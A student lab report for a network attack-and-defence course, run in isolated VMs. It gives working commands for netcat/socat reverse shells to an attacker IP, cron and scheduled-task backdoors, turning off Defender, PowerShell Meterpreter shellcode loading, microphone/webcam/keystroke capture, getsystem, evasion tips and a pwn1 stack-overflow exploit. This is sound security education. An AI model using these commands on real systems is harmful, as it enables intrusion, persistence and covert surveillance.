20242422 2026-2027-1 《网络与系统攻防技术》实验二实验报告

20242422 2026-2027-1 《网络与系统攻防技术》实验二实验报告

1. 基础知识

1. Netcat（nc）：网络工具，可实现端口监听、TCP/UDP 连接、数据传输，常用于反弹 Shell 与文件传输。Cron 是 Linux 定时任务服务，可以按照设定时间自动执行命令，可用于持久化后门。
2. Socat：多功能双向数据转发工具，功能强于 nc，能够创建监听端口、建立反向连接，Windows 下可获取交互式 Shell。Windows 任务计划程序用于创建定时任务，实现持久化后门。
3. 反弹 Shell：靶机主动向外发起连接，连接攻击机监听端口，将靶机命令行传递给攻击机；适合靶机在内网、防火墙限制入站连接的场景。
4. Shellcode：原始机器码，不需要依赖文件，直接在内存执行；PowerShell 可以调用 Windows API 在内存加载 shellcode，无落地文件，隐蔽性更强。
5. Meterpreter：Metasploit 框架的高级内存载荷，注入进程内存运行、无落地文件，提供截屏、录音、键盘记录、提权等后渗透模块。
6. 栈溢出：程序未对输入长度进行校验，超长输入覆盖返回地址，可将执行流劫持到注入的 shellcode；实验时关闭 ASLR 便于稳定利用。
7. 虚拟机网络模式：VMware NAT 模式，攻击机 Kali 与靶机在同一网段，保证 IP 互通。实验前需要关闭靶机防火墙，避免阻断连接。

2. 实验内容

任务 1：Linux 靶机利用 Netcat + Cron 实现反弹 Shell 与定时持久后门

• 攻击机：Kali Linux；靶机：Linux 虚拟机
• 实验目标：使用 netcat 建立反弹 shell；配置 cron 定时任务，实现定时自动反弹 shell 持久后门。

任务 2：Windows 靶机利用 Socat + 任务计划程序实现反弹 Shell 与持久后门

• 攻击机：Kali Linux；靶机：Windows 虚拟机
• 实验目标：使用 socat 获取 Windows 靶机反弹 shell；创建 Windows 计划任务，实现开机 / 定时反弹 shell 持久后门。

任务 3：PowerShell 加载 Shellcode，获取 Meterpreter 会话

• 攻击机：Kali Linux；靶机：Windows 虚拟机
• 实验目标：msfvenom 生成 shellcode，编写 PowerShell 脚本在内存加载 shellcode，获取 meterpreter 反弹会话。

任务 4：MSF Meterpreter 后渗透——采集音频、摄像头、击键记录并尝试提权

• 攻击机：Kali Linux；靶机：Windows 虚拟机
• 实验目标：使用 msfvenom 生成 Windows Meterpreter 后门，利用 ncat/socat 传送到靶机并运行获取会话；使用 Meterpreter 模块采集麦克风音频、摄像头画面、键盘击键记录，并尝试 getsystem 提权。

任务 5：MSF 生成 Shellcode 注入 pwn1 获取反弹 Shell

• 攻击机：Kali Linux；靶机：Linux 虚拟机（运行实践1中的 pwn1 程序）
• 实验目标：使用 msfvenom 生成 Linux 反弹 shellcode，利用 pwn1 的栈溢出漏洞将 shellcode 注入并执行，获取反弹连接 Shell。

3. 实验过程

任务 1 Netcat + Cron（Linux）

1. 查看 IP

攻击机 Kali 执行 ip a 查看 IP；靶机 Linux 执行 ip a 查看 IP，互相 ping 测试连通性。

2. 攻击机开启 nc 监听

nc -lvp 4444

3. 靶机执行反弹 shell 命令

nc 攻击机IP 4444 -e /bin/bash

攻击机成功获取靶机 shell，可执行命令。

4. 配置 Cron 定时后门（靶机）

crontab -e

添加定时规则，每分钟自动反弹 shell：

• • • • • nc 攻击机IP 4444 -e /bin/bash

保存退出。crontab -l 查看定时任务。

5. 验证持久后门

关闭现有 shell 连接，攻击机重新打开 nc 监听，等待 1 分钟，靶机自动反弹 shell。

6. 实验清理

crontab -r 删除定时任务。

任务 2 Socat + Windows 任务计划程序

1. 查看 IP

Kali 与 Windows 靶机分别查看 IP，ping 验证互通，关闭 Windows 防火墙。

2. 攻击机 Kali 启动 socat 监听

socat TCP-LISTEN:5555,fork -

3. Windows 靶机运行 socat 反弹程序

socat.exe TCP:攻击机IP:5555 EXEC:cmd.exe,pipes

攻击机成功拿到 Windows 的 cmd 交互式 shell。

4. Windows 创建任务计划持久后门

打开任务计划程序，新建任务，触发器设置为计算机启动时，操作启动程序 socat.exe，参数填写反弹命令。

5. 验证持久化

重启 Windows 虚拟机，攻击机保持 socat 监听，开机后自动反弹 shell。

6. 实验清理

删除任务计划，关闭防火墙例外。

任务 3 PowerShell 加载 Shellcode 获取 Meterpreter 会话

1. 前置准备：关闭 Windows Defender 实时保护（管理员 PowerShell）

Set-MpPreference -DisableRealtimeMonitoring $true

2. Kali 使用 msfvenom 生成 64 位反弹 shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=KaliIP LPORT=4444 -f powershell

3. Windows 靶机编写 shellcode.ps1 脚本

新建文本文档，粘贴生成的 shellcode 字节数组与加载代码，另存为 shellcode.ps1，编码 UTF-8。

4. Kali 启动 msf 监听

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST KaliIP
set LPORT 4444
run

5. Windows 靶机管理员 PowerShell 执行脚本

Set-ExecutionPolicy RemoteSigned
cd Desktop
.\shellcode.ps1

6. Kali 验证 meterpreter 会话权限

会话成功弹回后执行：

getuid
ipconfig

7. 实验环境清理

关闭会话，删除 ps1 脚本，恢复 Defender 实时保护：

Set-MpPreference -DisableRealtimeMonitoring $false

任务 4 Meterpreter 后渗透——音频、摄像头、击键记录与提权

1. Kali 使用 msfvenom 生成 Windows Meterpreter 后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=KaliIP LPORT=5555 -f exe -o backdoor.exe

2. 利用 ncat 将后门传送到 Windows 靶机

Windows 靶机先执行接收命令：

ncat --recv-only -l 7777 > backdoor.exe

Kali 发送文件：

ncat --send-only 靶机IP 7777 < backdoor.exe

3. Kali 启动 msf 监听，靶机运行后门获取会话

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST KaliIP
set LPORT 5555
run

Windows 靶机运行 backdoor.exe，Kali 成功收到 Meterpreter 会话。

4. 采集麦克风音频

record_mic -d 10

采集 10 秒音频，保存为 wav 文件。

5. 采集摄像头画面

webcam_snap

拍摄靶机摄像头当前画面，保存为 jpg 文件。

6. 键盘击键记录

keyscan_start

在靶机输入测试文本后，攻击机执行：

keyscan_dump
keyscan_stop

7. 尝试提权

getuid
getsystem
getuid

提权后 getuid 返回 SYSTEM 权限。

8. 实验环境清理

关闭会话，删除靶机上的 backdoor.exe，恢复 Defender 实时保护。

任务 5 MSF 生成 Shellcode 注入 pwn1 获取反弹 Shell

1. 回顾实践 1 的 pwn1 漏洞，查看保护机制

pwn1 存在栈溢出漏洞，gets/read 读取过长输入可覆盖返回地址。查看保护并关闭 ASLR：

checksec ./pwn1
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

2. Kali 使用 msfvenom 生成 Linux 反弹 shellcode

msfvenom -p linux/x64/shell_reverse_tcp LHOST=KaliIP LPORT=6666 -f c

3. 编写 exploit 脚本构造 payload

将生成的 shellcode 字节填入缓冲区，构造 payload：NOP 滑板 + shellcode + 填充字节 + 返回地址（指向缓冲区中的 shellcode）。

4. Kali 开启 nc 监听

nc -lvp 6666

5. 靶机运行 pwn1，注入 payload 获取反弹 Shell

python3 exploit.py | ./pwn1

攻击机成功收到反弹 shell，执行 whoami、id 验证。

6. 实验环境清理

关闭连接，恢复 ASLR，删除 exploit 脚本。

4. 问题及解决方案

• 问题 1：Netcat 反弹 shell 没有回显，命令输入无反应。
• 问题 1 解决方案：使用带 - e 参数支持的 GNU netcat 版本；检查靶机与攻击机网络连通，确认防火墙放行端口。
• 问题 2：Cron 定时任务不自动反弹。
• 问题 2 解决方案：检查 crontab 语法；确认靶机 nc 路径；验证靶机可以访问攻击机 IP 端口。
• 问题 3：Windows 执行 socat 反弹失败，连接超时。
• 问题 3 解决方案：关闭 Windows 防火墙；确认 socat 版本匹配系统位数；IP 地址填写攻击机真实 IP。
• 问题 4：Windows 任务计划重启后不自动运行。
• 问题 4 解决方案：任务勾选 “不管用户是否登录都要运行”，使用管理员权限运行。
• 问题 5：MSF 输入 run 提示 unknown command。
• 问题 5 解决方案：use 命令必须单独一行执行，等待提示符切换为 msf6 exploit(multi/handler) > 后，再执行 run。
• 问题 6：Meterpreter 后门 exe 被 Windows Defender 查杀，或靶机运行后 Kali 无法收到会话。
• 问题 6 解决方案：关闭 Windows Defender 实时保护或添加白名单；确认后门 LHOST/LPORT 与 handler 配置一致；必要时改用 reverse_https 载荷绕过检测。
• 问题 7：getsystem 提权失败，getuid 仍为普通用户。
• 问题 7 解决方案：确保 meterpreter 会话所在进程具备管理员权限（SeDebugPrivilege）；若为普通权限，先使用 exploit/windows/local/bypassuac 等模块提权。
• 问题 8：webcam_snap、record_mic 无画面或无声音。
• 问题 8 解决方案：在 VMware 虚拟机设置中将摄像头、麦克风等设备连接到虚拟机；确认靶机系统已正确识别设备。
• 问题 9：shellcode 注入 pwn1 后程序段错误或未反弹。
• 问题 9 解决方案：确认 shellcode 位数与 pwn1 架构一致；关闭 ASLR；用 gdb 调试确定正确的偏移量与返回地址，确保返回地址指向 shellcode。

5. 学习感悟、思考等

本次实验通过 Netcat、Socat 工具完成反弹 Shell，并且利用 Linux cron、Windows 任务计划实现持久化后门。我理解了反弹 Shell 的原理，明白了持久化后门的危害。

反弹 Shell 是内网渗透常用手段，靶机主动外连可以绕过防火墙入站策略。定时持久化可以在靶机重启后持续维持权限。PowerShell 内存加载 shellcode 不需要落地文件，隐蔽性更强，是攻防中常见的攻击手段。

同时认识到系统自带的定时组件（Cron、任务计划程序）如果被恶意利用会带来严重安全风险，日常运维应当检查定时任务，及时清理未知任务，做好主机安全防护。

在任务 4 中，我使用 Meterpreter 成功采集了靶机的麦克风音频、摄像头画面与击键记录，并理解了 getsystem 提权的原理。这些功能展示了攻击者获取权限后可能造成的严重危害，也让我认识到端点行为检测与外设权限管理的重要性。任务 5 通过 MSF 生成 shellcode 注入 pwn1，将实践 1 的栈溢出漏洞与反弹 shell 结合起来，真正理解了 shellcode 的执行过程——漏洞只是入口，配合 shellcode 才能实现任意代码执行。

参考资料

• 课程实验作业要求（https://edu.cnblogs.com/campus/besti/2026-2027-1-24232424/homework/16725）
• 《反弹 shell 原理与实践》（http://www.cnblogs.com/rocedu/p/5182332.html）